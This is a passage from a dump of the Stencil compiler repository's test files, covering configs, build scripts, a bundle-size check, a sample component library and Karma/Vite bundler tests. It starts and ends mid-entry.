    "content": "{\n  \"compilerOptions\": {\n    \"alwaysStrict\": true,\n    \"allowSyntheticDefaultImports\": true,\n    \"allowUnreachableCode\": false,\n    \"declaration\": true,\n    \"experimentalDecorators\": true,\n    \"forceConsistentCasingInFileNames\": true,\n    \"jsx\": \"react\",\n    \"jsxFactory\": \"h\",\n    \"lib\": [\n      \"dom\",\n      \"es2017\"\n    ],\n    \"module\": \"esnext\",\n    \"moduleResolution\": \"node\",\n    \"noImplicitAny\": true,\n    \"noImplicitReturns\": true,\n    \"noUnusedLocals\": true,\n    \"noUnusedParameters\": true,\n    \"pretty\": true,\n    \"target\": \"es2017\",\n    \"useUnknownInCatchVariables\": true,\n    \"baseUrl\": \".\",\n    \"paths\": {\n      \"@stencil/core/testing\": [\n        \"../../src/testing/index.ts\"\n      ],\n      \"@stencil/core\": [\n        \"../../internal\"\n      ],\n      \"@stencil/core/compiler\": [\n        \"../../compiler\"\n      ],\n      \"@stencil/core/internal\": [\n        \"../../internal\"\n      ]\n    }\n  },\n  \"include\": [\n    \"src\"\n  ]\n}\n"
  },
  {
    "path": "test/bundle-size/package.json",
    "content": "{\n  \"name\": \"bundle-size-test\",\n  \"private\": true,\n  \"scripts\": {\n    \"build\": \"node ../../bin/stencil build --prod\",\n    \"clean\": \"rimraf dist .stencil\",\n    \"test\": \"npm run build && node test-bundle-size.js\"\n  }\n}\n"
  },
  {
    "path": "test/bundle-size/src/components/test-component/test-component.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'test-component',\n  shadow: true,\n})\nexport class TestComponent {\n  /** The text to display */\n  @Prop() t: string;\n  render() {\n    return <div>Test</div>;\n  }\n}\n"
  },
  {
    "path": "test/bundle-size/src/components.d.ts",
    "content": "/* eslint-disable */\n/* tslint:disable */\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * It contains typing information for all components that exist in this project.\n */\nimport { HTMLStencilElement, JSXBase } from \"@stencil/core/internal\";\nexport namespace Components {\n    interface TestComponent {\n        /**\n          * The text to display\n         */\n        \"t\": string;\n    }\n}\ndeclare global {\n    interface HTMLTestComponentElement extends Components.TestComponent, HTMLStencilElement {\n    }\n    var HTMLTestComponentElement: {\n        prototype: HTMLTestComponentElement;\n        new (): HTMLTestComponentElement;\n    };\n    interface HTMLElementTagNameMap {\n        \"test-component\": HTMLTestComponentElement;\n    }\n}\ndeclare namespace LocalJSX {\n    interface TestComponent {\n        /**\n          * The text to display\n         */\n        \"t\"?: string;\n    }\n\n    interface TestComponentAttributes {\n        \"t\": string;\n    }\n\n    interface IntrinsicElements {\n        \"test-component\": Omit<TestComponent, keyof TestComponentAttributes> & { [K in keyof TestComponent & keyof TestComponentAttributes]?: TestComponent[K] } & { [K in keyof TestComponent & keyof TestComponentAttributes as `attr:${K}`]?: TestComponentAttributes[K] } & { [K in keyof TestComponent & keyof TestComponentAttributes as `prop:${K}`]?: TestComponent[K] };\n    }\n}\nexport { LocalJSX as JSX };\ndeclare module \"@stencil/core\" {\n    export namespace JSX {\n        interface IntrinsicElements {\n            \"test-component\": LocalJSX.IntrinsicElements[\"test-component\"] & JSXBase.HTMLAttributes<HTMLTestComponentElement>;\n        }\n    }\n}\n"
  },
  {
    "path": "test/bundle-size/stencil.config.ts",
    "content": "import { Config } from '../../internal';\n\nexport const config: Config = {\n  namespace: 'bundlesize',\n  hashFileNames: false,\n  outputTargets: [{ type: 'dist' }, { type: 'dist-custom-elements', autoLoader: true, externalRuntime: false }],\n  enableCache: false,\n};\n"
  },
  {
    "path": "test/bundle-size/test-bundle-size.js",
    "content": "#!/usr/bin/env node\n\n// Checks a basic component with rendering and\n// reactivity to ensure the bundle size is under 12KB (non-gzipped)\n\nconst fs = require('fs');\nconst path = require('path');\n\nconst distDir = path.join(__dirname, 'dist', 'bundlesize');\nconst maxBundleSize = 12 * 1024; // 12KB in bytes\n\nconsole.log('\\nChecking bundle size...');\n\n// Find the index-HASH.js file\nconst files = fs.readdirSync(distDir);\nconst indexFile = files.find((file) => file.startsWith('index-') && file.endsWith('.js'));\n\nif (!indexFile) {\n  console.error('❌ ERROR: Could not find index-HASH.js file in dist/bundlesize/');\n  process.exit(1);\n}\n\nconst bundlePath = path.join(distDir, indexFile);\nconst stats = fs.statSync(bundlePath);\nconst bundleSize = stats.size;\nconst bundleSizeKB = (bundleSize / 1024).toFixed(2);\nconst maxSizeKB = (maxBundleSize / 1024).toFixed(2);\n\nconsole.log(`Bundle: ${indexFile}`);\nconsole.log(`Size: ${bundleSize} bytes (${bundleSizeKB} KB)`);\nconsole.log(`Max allowed: ${maxSizeKB} KB`);\n\nif (bundleSize >= maxBundleSize) {\n  console.error(`\\n❌ FAIL: Bundle size ${bundleSizeKB} KB exceeds maximum ${maxSizeKB} KB`);\n  console.error('This indicates a regression - the runtime bundle has gotten larger.');\n  process.exit(1);\n}\n\nconsole.log(`\\n✅ PASS: Bundle size is under ${maxSizeKB} KB`);\nprocess.exit(0);\n"
  },
  {
    "path": "test/bundle-size/tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    \"allowSyntheticDefaultImports\": true,\n    \"experimentalDecorators\": true,\n    \"lib\": [\"dom\", \"es2017\"],\n    \"moduleResolution\": \"node\",\n    \"module\": \"esnext\",\n    \"target\": \"es2017\",\n    \"jsx\": \"react\",\n    \"jsxFactory\": \"h\",\n    \"jsxFragmentFactory\": \"Fragment\",\n    \"paths\": {\n      \"@stencil/core\": [\n        \"../../internal\"\n      ],\n      \"@stencil/core/compiler\": [\n        \"../../compiler\"\n      ],\n      \"@stencil/core/internal\": [\n        \"../../internal\"\n      ]\n    }\n  },\n  \"include\": [\"src\"],\n  \"exclude\": [\"node_modules\"]\n}\n"
  },
  {
    "path": "test/bundler/component-library/.gitignore",
    "content": "dist/\nloader/\nwww/\n\nnode_modules/\n"
  },
  {
    "path": "test/bundler/component-library/README.md",
    "content": "# component-library\n\nThis directory contains a small Stencil library to be consumed by other applications for testing purposes.\n\nThe library consists of a single component, `<my-component></my-component>`.\nDocumentation for using this component can be found in the [README.md file](./src/components/my-component/readme.md) for\nthe component.\n\n## scripts\n\nThis library contains three NPM scripts:\n\n- `build` - builds the project for use in other applications\n- `clean` - removes previously created build artifacts\n- `start` - starts up a local dev server to validate the component looks/behaves as expected (without having to\nconsume it in an application)\n"
  },
  {
    "path": "test/bundler/component-library/package.json",
    "content": "{\n  \"name\": \"component-library\",\n  \"version\": \"0.0.1\",\n  \"description\": \"Stencil Component Starter\",\n  \"main\": \"dist/index.cjs.js\",\n  \"module\": \"dist/index.js\",\n  \"es2015\": \"dist/esm/index.mjs\",\n  \"es2017\": \"dist/esm/index.mjs\",\n  \"types\": \"dist/types/index.d.ts\",\n  \"collection\": \"dist/collection/collection-manifest.json\",\n  \"collection:main\": \"dist/collection/index.js\",\n  \"unpkg\": \"dist/component-library/component-library.esm.js\",\n  \"files\": [\n    \"dist/\",\n    \"loader/\"\n  ],\n  \"scripts\": {\n    \"build\": \"node ../../../bin/stencil build --docs\",\n    \"clean\": \"rm -rf dist loader www\",\n    \"start\": \"node ../../../bin/stencil build --dev --watch --serve\"\n  },\n  \"license\": \"MIT\"\n}\n"
  },
  {
    "path": "test/bundler/component-library/src/components/my-component/my-component.css",
    "content": ":host {\n  display: block;\n}\n"
  },
  {
    "path": "test/bundler/component-library/src/components/my-component/my-component.tsx",
    "content": "import { Component, Prop, h } from '@stencil/core';\nimport { format } from '../../utils/utils';\n\n@Component({\n  tag: 'my-component',\n  styleUrl: 'my-component.css',\n  shadow: true,\n})\nexport class MyComponent {\n  /**\n   * The first name\n   */\n  @Prop() first: string;\n\n  /**\n   * The middle name\n   */\n  @Prop() middle: string;\n\n  /**\n   * The last name\n   */\n  @Prop() last: string;\n\n  private getText(): string {\n    return format(this.first, this.middle, this.last);\n  }\n\n  render() {\n    return <div>Hello, World! I'm {this.getText()}</div>;\n  }\n}\n"
  },
  {
    "path": "test/bundler/component-library/src/components/my-component/readme.md",
    "content": "# my-component\n\n\n\n<!-- Auto Generated Below -->\n\n\n## Properties\n\n| Property | Attribute | Description     | Type     | Default     |\n| -------- | --------- | --------------- | -------- | ----------- |\n| `first`  | `first`   | The first name  | `string` | `undefined` |\n| `last`   | `last`    | The last name   | `string` | `undefined` |\n| `middle` | `middle`  | The middle name | `string` | `undefined` |\n\n\n----------------------------------------------\n\n*Built with [StencilJS](https://stenciljs.com/)*\n"
  },
  {
    "path": "test/bundler/component-library/src/components.d.ts",
    "content": "/* eslint-disable */\n/* tslint:disable */\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * It contains typing information for all components that exist in this project.\n */\nimport { HTMLStencilElement, JSXBase } from \"@stencil/core/internal\";\nexport namespace Components {\n    interface MyComponent {\n        /**\n          * The first name\n         */\n        \"first\": string;\n        /**\n          * The last name\n         */\n        \"last\": string;\n        /**\n          * The middle name\n         */\n        \"middle\": string;\n    }\n}\ndeclare global {\n    interface HTMLMyComponentElement extends Components.MyComponent, HTMLStencilElement {\n    }\n    var HTMLMyComponentElement: {\n        prototype: HTMLMyComponentElement;\n        new (): HTMLMyComponentElement;\n    };\n    interface HTMLElementTagNameMap {\n        \"my-component\": HTMLMyComponentElement;\n    }\n}\ndeclare namespace LocalJSX {\n    interface MyComponent {\n        /**\n          * The first name\n         */\n        \"first\"?: string;\n        /**\n          * The last name\n         */\n        \"last\"?: string;\n        /**\n          * The middle name\n         */\n        \"middle\"?: string;\n    }\n\n    interface MyComponentAttributes {\n        \"first\": string;\n        \"middle\": string;\n        \"last\": string;\n    }\n\n    interface IntrinsicElements {\n        \"my-component\": Omit<MyComponent, keyof MyComponentAttributes> & { [K in keyof MyComponent & keyof MyComponentAttributes]?: MyComponent[K] } & { [K in keyof MyComponent & keyof MyComponentAttributes as `attr:${K}`]?: MyComponentAttributes[K] } & { [K in keyof MyComponent & keyof MyComponentAttributes as `prop:${K}`]?: MyComponent[K] };\n    }\n}\nexport { LocalJSX as JSX };\ndeclare module \"@stencil/core\" {\n    export namespace JSX {\n        interface IntrinsicElements {\n            \"my-component\": LocalJSX.IntrinsicElements[\"my-component\"] & JSXBase.HTMLAttributes<HTMLMyComponentElement>;\n        }\n    }\n}\n"
  },
  {
    "path": "test/bundler/component-library/src/index.html",
    "content": "<!DOCTYPE html>\n<html dir=\"ltr\" lang=\"en\">\n  <head>\n    <meta charset=\"utf-8\" />\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=5.0\" />\n    <title>Stencil Component Starter</title>\n\n    <script type=\"module\" src=\"/build/component-library.esm.js\"></script>\n    <script nomodule src=\"/build/component-library.js\"></script>\n  </head>\n  <body>\n    <my-component first=\"Stencil\" last=\"'Don't call me a framework' JS\"></my-component>\n  </body>\n</html>\n"
  },
  {
    "path": "test/bundler/component-library/src/index.ts",
    "content": "export { Components, JSX } from './components';\n"
  },
  {
    "path": "test/bundler/component-library/src/utils/utils.ts",
    "content": "export function format(first: string, middle: string, last: string): string {\n  return (first || '') + (middle ? ` ${middle}` : '') + (last ? ` ${last}` : '');\n}\n"
  },
  {
    "path": "test/bundler/component-library/stencil.config.ts",
    "content": "import { Config } from '@stencil/core';\n\nexport const config: Config = {\n  namespace: 'component-library',\n  outputTargets: [\n    {\n      type: 'dist',\n      esmLoaderPath: '../loader',\n    },\n    {\n      type: 'docs-readme',\n    },\n    {\n      type: 'www',\n      serviceWorker: null, // disable service workers\n    },\n  ],\n  extras: {\n    enableImportInjection: true,\n  },\n};\n"
  },
  {
    "path": "test/bundler/component-library/tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    \"allowSyntheticDefaultImports\": true,\n    \"allowUnreachableCode\": false,\n    \"declaration\": false,\n    \"experimentalDecorators\": true,\n    \"lib\": [\n      \"dom\",\n      \"es2017\"\n    ],\n    \"moduleResolution\": \"node\",\n    \"module\": \"esnext\",\n    \"target\": \"es2017\",\n    \"noUnusedLocals\": true,\n    \"noUnusedParameters\": true,\n    \"jsx\": \"react\",\n    \"jsxFactory\": \"h\",\n    \"paths\": {\n      \"@stencil/core\": [\"../../../internal\"],\n      \"@stencil/core/internal\": [\"../../../internal\"],\n      \"@stencil/core/testing\": [\"../../../testing\"]\n    }\n  },\n  \"include\": [\n    \"src\"\n  ],\n  \"exclude\": [\n    \"node_modules\"\n  ]\n}\n"
  },
  {
    "path": "test/bundler/karma-stencil-utils.ts",
    "content": "const path = require('path');\n\n// we must use a relative path here instead of tsconfig#paths\n// see https://github.com/monounity/karma-typescript/issues/315\nimport * as d from '../../internal';\n\n/**\n * Utilities for creating a test bed to execute HTML rendering tests against\n */\ntype DomTestUtilities = {\n  /**\n   * Create and render the HTML at the provided url\n   * @param url a location on disk of a file containing the HTML to load\n   * @returns the fully rendered HTML to test against\n   */\n  setupDom: (url: string) => Promise<HTMLElement>;\n  /**\n   * Clears the test bed of any existing HTML\n   */\n  tearDownDom: () => void;\n};\n\n/**\n * Create setup and teardown methods for DOM based tests. All DOM based tests are created within an application\n * 'test bed' that is managed by this function.\n * @param document a `Document` compliant entity where tests may be rendered\n * @returns utilities to set up the DOM and tear it down within the test bed\n */\nexport function setupDomTests(document: Document): DomTestUtilities {\n  /**\n   * All HTML will be rendered as a child of the test bed - get it from the current document (and create it, if it\n   * doesn't exist) so that it is available for all future tests.\n   */\n  let testBed = document.getElementById('test-app');\n  if (!testBed) {\n    testBed = document.createElement('div');\n    testBed.id = 'test-app';\n    document.body.appendChild(testBed);\n  }\n\n  /**\n   * @see {@link DomTestUtilities#setupDom}\n   */\n  function setupDom(url: string): Promise<HTMLElement> {\n    const testElement = document.createElement('div');\n    testElement.className = 'test-spec';\n\n    if (!testBed) {\n      console.error('The Stencil/Karma test bed could not be found.');\n      process.exit(1);\n    }\n\n    testBed.appendChild(testElement);\n\n    return renderTest(url, testElement);\n  }\n\n  /**\n   * Render HTML for executing tests against.\n   * @param url the location on disk containing the HTML to load\n   * @param testElement a parent HTML element to place test code in\n   * @returns the fully rendered HTML to test against\n   */\n  function renderTest(url: string, testElement: HTMLElement): Promise<HTMLElement> {\n    // 'base' is the directory that karma will serve all assets from\n    url = path.join('base', url);\n\n    return new Promise<HTMLElement>((resolve, reject) => {\n      /**\n       * Callback to be invoked following the retrieval of the file containing the HTML to load\n       * @param this the `XMLHttpRequest` instance that requested the HTML\n       */\n      const indexHtmlLoaded = function (this: XMLHttpRequest): void {\n        if (this.status !== 200) {\n          reject(`404: ${url}`);\n          return;\n        }\n\n        testElement.innerHTML = this.responseText;\n\n        /**\n         * Re-generate script tags that are embedded in the loaded HTML file.\n         *\n         * Doing so allows JS files to be loaded (via script tags), when the HTML is served, without having to configure\n         * Karma to load the JS explicitly. This is done by adding the host/port combination to existing `src`\n         * attributes.\n         *\n         * Before:\n         * ```html\n         * <script type=\"module\" src=\"/index.6127a5ed.js\"></script>\n         * ```\n         *\n         * After:\n         * ```html\n         * <script src=\"http://localhost:9876/index.547a265b.js\" type=\"module\"></script>\n         * ```\n         */\n        const parseAndRebuildScriptTags = () => {\n          const tempScripts: NodeListOf<HTMLScriptElement> = testElement.querySelectorAll('script');\n          for (let i = 0; i < tempScripts.length; i++) {\n            const script: HTMLScriptElement = document.createElement('script');\n            if (tempScripts[i].src) {\n              script.src = tempScripts[i].src;\n            }\n            if (tempScripts[i].hasAttribute('nomodule')) {\n              script.setAttribute('nomodule', '');\n            }\n            if (tempScripts[i].hasAttribute('type')) {\n              const typeAttribute = tempScripts[i].getAttribute('type');\n              if (typeof typeAttribute === 'string') {\n                // older DOM implementations would return an empty string to designate `null`\n                // here, we interpret the empty string to be a valid value\n                script.setAttribute('type', typeAttribute);\n              }\n            }\n            script.innerHTML = tempScripts[i].innerHTML;\n\n            if (tempScripts[i].parentNode) {\n              // the scripts were found by querying a common parent node, which _should_ still exist\n              tempScripts[i].parentNode!.insertBefore(script, tempScripts[i]);\n              tempScripts[i].parentNode!.removeChild(tempScripts[i]);\n            } else {\n              // if for some reason the parent node no longer exists, something's manipulated it while we were parsing\n              // the script tags. this can lead to undesirable & hard to debug behavior, fail.\n              reject('the parent node for script tags no longer exists. exiting.');\n            }\n          }\n        };\n\n        parseAndRebuildScriptTags();\n\n        /**\n         * Create a listener for Stencil's \"appload\" event to signal to the test framework the application and its\n         * children have finished loading\n         */\n        const onAppLoad = () => {\n          window.removeEventListener('appload', onAppLoad);\n          allReady().then(() => {\n            resolve(testElement);\n          });\n        };\n        window.addEventListener('appload', onAppLoad);\n      };\n\n      /**\n       * Ensure that all `onComponentReady` functions on Stencil elements in the DOM have been called before rendering\n       * @returns an array of promises, one for each `onComponentReady` found on a Stencil component\n       */\n      const allReady = (): Promise<d.HTMLStencilElement[] | void> => {\n        const promises: Promise<d.HTMLStencilElement>[] = [];\n\n        /**\n         * Function that recursively traverses the DOM, looking for Stencil components. Any `componentOnReady`\n         * functions found on Stencil components are pushed to a buffer to be run after traversing the entire DOM.\n         * @param elm the current element being inspected\n         */\n        const waitForDidLoad = (elm: Element): void => {\n          if (elm != null && elm.nodeType === 1) {\n            // the element exists and is an `ELEMENT_NODE`\n            for (let i = 0; i < elm.children.length; i++) {\n              const childElm = elm.children[i];\n              if (childElm.tagName.includes('-') && isHtmlStencilElement(childElm)) {\n                promises.push(childElm.componentOnReady());\n              }\n              waitForDidLoad(childElm);\n            }\n          }\n        };\n\n        // recursively walk the DOM to find all `onComponentReady` functions\n        waitForDidLoad(window.document.documentElement);\n\n        return Promise.all(promises).catch((e) => console.error(e));\n      };\n\n      try {\n        const testHtmlRequest = new XMLHttpRequest();\n        testHtmlRequest.addEventListener('load', indexHtmlLoaded);\n        testHtmlRequest.addEventListener('error', (err) => {\n          console.error('error testHtmlRequest.addEventListener', err);\n          reject(err);\n        });\n        testHtmlRequest.open('GET', url);\n        testHtmlRequest.send();\n      } catch (e: unknown) {\n        console.error('catch error', e);\n        reject(e);\n      }\n    });\n  }\n\n  /**\n   * @see {@link DomTestUtilities#tearDownDom}\n   */\n  function tearDownDom(): void {\n    if (testBed) {\n      testBed.innerHTML = '';\n    }\n  }\n\n  return { setupDom, tearDownDom };\n}\n\n/**\n * Type guard to verify some entity is an instance of Stencil HTML Element\n * @param elm the entity to test\n * @returns `true` if the entity is a Stencil HTML Element, `false` otherwise\n */\nfunction isHtmlStencilElement(elm: unknown): elm is d.HTMLStencilElement {\n  // `hasOwnProperty` does not act as a type guard/narrow `elm` in any way, so we use an assertion to verify that\n  // `onComponentReady` is a function\n  return (\n    elm != null &&\n    typeof elm === 'object' &&\n    elm.hasOwnProperty('onComponentReady') &&\n    typeof (elm as any).onComponentReady === 'function'\n  );\n}\n"
  },
  {
    "path": "test/bundler/karma.config.ts",
    "content": "import type { Config } from 'karma';\n\n// use the instance of chromium that is downloaded as a part of stencil's puppeteer dependency\nprocess.env.CHROME_BIN = require('puppeteer').executablePath();\n\nconst CHROME_HEADLESS = 'ChromeHeadless';\n\n// local browsers to run the tests against\nconst localLaunchers = {\n  [CHROME_HEADLESS]: {\n    base: CHROME_HEADLESS,\n    flags: [\n      // run in headless mode (https://chromium.googlesource.com/chromium/src/+/lkgr/headless/README.md)\n      '--headless=new',\n      // use --disable-gpu to avoid an error from a missing Mesa library (https://chromium.googlesource.com/chromium/src/+/lkgr/headless/README.md)\n      '--disable-gpu',\n      // without a remote debugging port, Chrome exits immediately.\n      '--remote-debugging-port=9333',\n    ],\n  },\n};\n\n/**\n * Export a function to configure Karma to run.\n *\n * For details on how to configure Karma, see http://karma-runner.github.io/6.3/config/configuration-file.html\n *\n * @param config the configuration object. this object will be updated/mutated with the settings necessary to run our\n * tests\n */\nmodule.exports = function (config: Config): void {\n  config.set({\n    browsers: Object.keys(localLaunchers),\n    colors: true,\n    files: [\n      // general utilities for running Stencil + Karma\n      'karma-stencil-utils.ts',\n\n      // use the application built by vite\n      { pattern: 'vite-bundle-test/dist/index.html', nocache: true },\n      {\n        pattern: 'vite-bundle-test/dist/**/*.js',\n        // don't include these files via <script> tags, or they'll be included more than once\n        included: false,\n        nocache: true,\n      },\n      'vite-bundle-test/vite-bundle.spec.ts',\n    ],\n    // @ts-ignore - karma's configuration options are designed not to accommodate plugins (`karmaTypescriptConfig` does\n    // is therefore not considered a valid key)\n    karmaTypescriptConfig: {\n      tsconfig: './tsconfig.json',\n    },\n    frameworks: ['jasmine', 'karma-typescript'],\n    // sets the log level of karma, increasing the verbosity is useful for debugging the karma itself\n    logLevel: config.LOG_INFO,\n    plugins: ['karma-chrome-launcher', 'karma-jasmine', 'karma-typescript'],\n    /**\n     * each entry in the `proxies` object maps the value of the entry (the location on disk of 1+ file(s)) to a location\n     * that karma will make the files available (the key). e.g.\n     *\n     * {\n     *   '/assets/': `/base/vite-bundle-test/dist/assets/`,\n     * }\n     *\n     * maps the files found at '/base/vite-bundle-test/dist/assets/', to the '/assets/' directory on the karma server\n     */\n    proxies: {\n      '/assets/': '/base/vite-bundle-test/dist/assets/',\n    },\n    preprocessors: {\n      '**/*.ts': 'karma-typescript',\n    },\n    // exit after running - set this to `false` to leave the browser open to debug karma\n    singleRun: true,\n    // set a URL root that makes it easy to differentiate files served by karma vs other file servers\n    urlRoot: '/__karma__/',\n  });\n};\n"
  },
  {
    "path": "test/bundler/package.json",
    "content": "{\n  \"private\": true,\n  \"scripts\": {\n    \"build\": \"npm run build.component-lib && npm run build.vite\",\n    \"build.component-lib\": \"cd component-library && npm ci && npm run build && cd ..\",\n    \"build.vite\": \"cd vite-bundle-test && npm ci && npm run build && cd ..\",\n    \"clean\": \"npm run clean.component-lib && npm run clean.vite\",\n    \"clean.component-lib\": \"cd component-library && npm run clean && cd ../\",\n    \"clean.vite\": \"cd vite-bundle-test && npm run clean && cd ../\",\n    \"karma\": \"karma start karma.config.ts\",\n    \"start\": \"npm run clean && npm ci && npm run build && npm run karma\"\n  },\n  \"devDependencies\": {\n    \"@types/karma\": \"^6.3.3\",\n    \"@types/node\": \"^24.6.2\",\n    \"karma\": \"^6.4.1\",\n    \"karma-chrome-launcher\": \"^3.1.1\",\n    \"karma-jasmine\": \"^5.0.0\",\n    \"karma-typescript\": \"^5.5.3\",\n    \"ts-node\": \"^10.7.0\",\n    \"typescript\": \"5.9.2\"\n  }\n}\n"
  },
  {
    "path": "test/bundler/readme.md",
    "content": "# Bundler Tests\n\nThis directory contains test suites that are intended to test using Stencil components in a downstream application that is transformed by bundlers such as Vite.\n\n## Files of Interest\n\n### component-library/\nThis directory contains a basic component library, written in Stencil.\nIt is intended that applications found in directories adjacent to this one consume the library, using a bundler to test.\n\n### vite-bundle-test/\nThis directory contains a basic application that is bundled using Vite.\nIt contains the Stencil component library found in the [component-library directory](#component-library).\nTests for this application can be found in this directory as well.\n\n### karma.config.ts\nThis file contains the Karma configuration for running tests.\nIt also describes how Karma can serve all applications in the `bundler/` directory.\n\n### karma-stencil-utils.ts\nThis file contains various utilities for setting up and tearing down tests.\nIt may be used by an application test suite.\n"
  },
  {
    "path": "test/bundler/tsconfig.json",
    "content": "{\n  \"compilerOptions\": {\n    // karma-typescript only supports CommonJS\n    \"module\": \"CommonJS\",\n    \"strict\": true,\n  },\n  \"include\": [\n    \"karma-stencil-utils.ts\",\n    \"**/*.spec.ts\"\n  ],\n  \"exclude\": [\"component-library\"],\n}\n"
  },
  {
    "path": "test/bundler/vite-bundle-test/.gitignore",
    "content": "dist/\nnode_modules/\n"
  },
  {
    "path": "test/bundler/vite-bundle-test/README.md",
    "content": "# vite-bundle-test\n\nThis directory contains test(s) to verify that an application that is bundled using [Vite](https://vitejs.dev/) can\nsuccessfully load a component library created using Stencil's `dist` output target.\n\n## scripts\n\nThis library contains three NPM scripts:\n\n- `build` - builds the project using Vite. Requires that the [web component library](../component-library/README.md) be\nbuilt first\n- `clean` - removes previously created build artifacts\n- `start` - starts up a local dev server to validate the application looks/behaves as expected. \nNote this is done in a local dev-server; the artifacts generated may not match those from the `build` script exactly/ \nshould only be used for smoke testing\n"
  },
  {
    "path": "test/bundler/vite-bundle-test/index.html",
    "content": "<!DOCTYPE html>\n<meta charset=\"utf-8\" />\n<script type=\"module\" src=\"./index.js\"></script>\n\n<my-component first=\"Stencil\" last=\"'Don't call me a framework' JS\"></my-component>\n"
  },
  {
    "path": "test/bundler/vite-bundle-test/index.js",
    "content": "import { defineCustomElements } from 'component-library/loader';\n\ndefineCustomElements();\n"
  },
  {
    "path": "test/bundler/vite-bundle-test/package.json",
    "content": "{\n  \"name\": \"vite-bundle-test\",\n  \"private\": true,\n  \"version\": \"1.0.0\",\n  \"description\": \"test package to verify vite can be used with stencil's lazy loaded bundle\",\n  \"scripts\": {\n    \"build\": \"vite build\",\n    \"clean\": \"rm -rf dist\",\n    \"start\": \"vite\"\n  },\n  \"license\": \"MIT\",\n  \"devDependencies\": {\n    \"vite\": \"^2.8.0\"\n  },\n  \"dependencies\": {\n    \"component-library\": \"file:../component-library\"\n  }\n}\n"
  },
  {
    "path": "test/bundler/vite-bundle-test/vite-bundle.spec.ts",
    "content": "const utils = require('../karma-stencil-utils');\n\ndescribe('vite-bundle', () => {\n  const { setupDom, tearDownDom } = utils.setupDomTests(document);\n  let app: HTMLElement;\n\n  beforeEach(async () => {\n    app = await setupDom('/vite-bundle-test/dist/index.html');\n  });\n  afterEach(tearDownDom);\n\n  it('should load content from dynamic import', () => {\n    const cmpShadowRoot = app.querySelector('my-component')?.shadowRoot;\n    if (!cmpShadowRoot) {\n      fail(`unable to find shadow root on component 'my-component'`);\n    }\n    expect(cmpShadowRoot.textContent?.trim()).toBe(\"Hello, World! I'm Stencil 'Don't call me a framework' JS\");\n  });\n});\n"
  },
  {
    "path": "test/copy-task/README.md",
    "content": "Copy Task Tests\n===============\n\nThis directory aims to test and validate the behavior for Stencils [Copy Task for Output Targets](https://stenciljs.com/docs/copy-tasks#copy-tasks-for-output-targets). It has a copy task defined in `test/copy-task/stencil.config.ts` and builds this starter projects to then validate if the right files where copies.\n\n## Given\n\nWe have a copy task defined as part of an output target, e.g. \n\n```ts\n{\n  type: 'dist-custom-elements',\n  copy: [{\n    src: './utils',\n    dest: './dist/utilsExtra',\n  }]\n}\n```\n\nI expect that a `utilsExtra` directory is created that does __not__ copy the following entries:\n\n- files in `__fixtures__` and `__mocks__` directories\n- as well as files named `desktop.ini`\n\nFurthermore I expect that no JS files are copied over within the collection directory.\n"
  },
  {
    "path": "test/copy-task/package.json",
    "content": "{\n  \"name\": \"copytask\",\n  \"version\": \"0.0.1\",\n  \"description\": \"Stencil Component Starter\",\n  \"main\": \"dist/index.cjs.js\",\n  \"module\": \"dist/index.js\",\n  \"types\": \"dist/types/index.d.ts\",\n  \"collection\": \"dist/collection/collection-manifest.json\",\n  \"collection:main\": \"dist/collection/index.js\",\n  \"unpkg\": \"dist/copytask/copytask.esm.js\",\n  \"exports\": {\n    \".\": {\n      \"import\": \"./dist/copytask/copytask.esm.js\",\n      \"require\": \"./dist/copytask/copytask.cjs.js\"\n    },\n    \"./my-component\": {\n      \"import\": \"./dist/components/my-component.js\",\n      \"types\": \"./dist/components/my-component.d.ts\"\n    },\n    \"./loader\": {\n      \"import\": \"./loader/index.js\",\n      \"require\": \"./loader/index.cjs\",\n      \"types\": \"./loader/index.d.ts\"\n    }\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"https://github.com/stenciljs/component-starter.git\"\n  },\n  \"files\": [\n    \"dist/\"\n  ],\n  \"scripts\": {\n    \"build\": \"rimraf ./dist && node ../../bin/stencil build\",\n    \"test\": \"npm run build && tsx validate.mts\"\n  },\n  \"devDependencies\": {\n    \"rimraf\": \"^6.0.1\"\n  },\n  \"license\": \"MIT\"\n}\n"
  },
  {
    "path": "test/copy-task/src/components.d.ts",
    "content": "/* eslint-disable */\n/* tslint:disable */\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * It contains typing information for all components that exist in this project.\n */\nimport { HTMLStencilElement, JSXBase } from \"@stencil/core/internal\";\nexport namespace Components {\n}\ndeclare global {\n    interface HTMLElementTagNameMap {\n    }\n}\ndeclare namespace LocalJSX {\n    interface IntrinsicElements {\n    }\n}\nexport { LocalJSX as JSX };\ndeclare module \"@stencil/core\" {\n    export namespace JSX {\n        interface IntrinsicElements {\n        }\n    }\n}\n"
  },
  {
    "path": "test/copy-task/src/utils/__fixtures__/foobar.json",
    "content": "{}\n"
  },
  {
    "path": "test/copy-task/src/utils/__mocks__/foo.js",
    "content": "export const copyFile = jest.fn().mockImplementation(() => 'JavaScript file content');\n"
  },
  {
    "path": "test/copy-task/src/utils/desktop.ini",
    "content": "Hello\n"
  },
  {
    "path": "test/copy-task/src/utils/utils.spec.ts",
    "content": "import { format } from './utils';\n\ndescribe('format', () => {\n  it('returns empty string for no names defined', () => {\n    expect(format(undefined, undefined, undefined)).toEqual('');\n  });\n\n  it('formats just first names', () => {\n    expect(format('Joseph', undefined, undefined)).toEqual('Joseph');\n  });\n\n  it('formats first and last names', () => {\n    expect(format('Joseph', undefined, 'Publique')).toEqual('Joseph Publique');\n  });\n\n  it('formats first, middle and last names', () => {\n    expect(format('Joseph', 'Quincy', 'Publique')).toEqual('Joseph Quincy Publique');\n  });\n});\n"
  },
  {
    "path": "test/copy-task/src/utils/utils.ts",
    "content": "export function format(first: string, middle: string, last: string): string {\n  return (first || '') + (middle ? ` ${middle}` : '') + (last ? ` ${last}` : '');\n}\n"
  },
  {
    "path": "test/copy-task/stencil.config.ts",
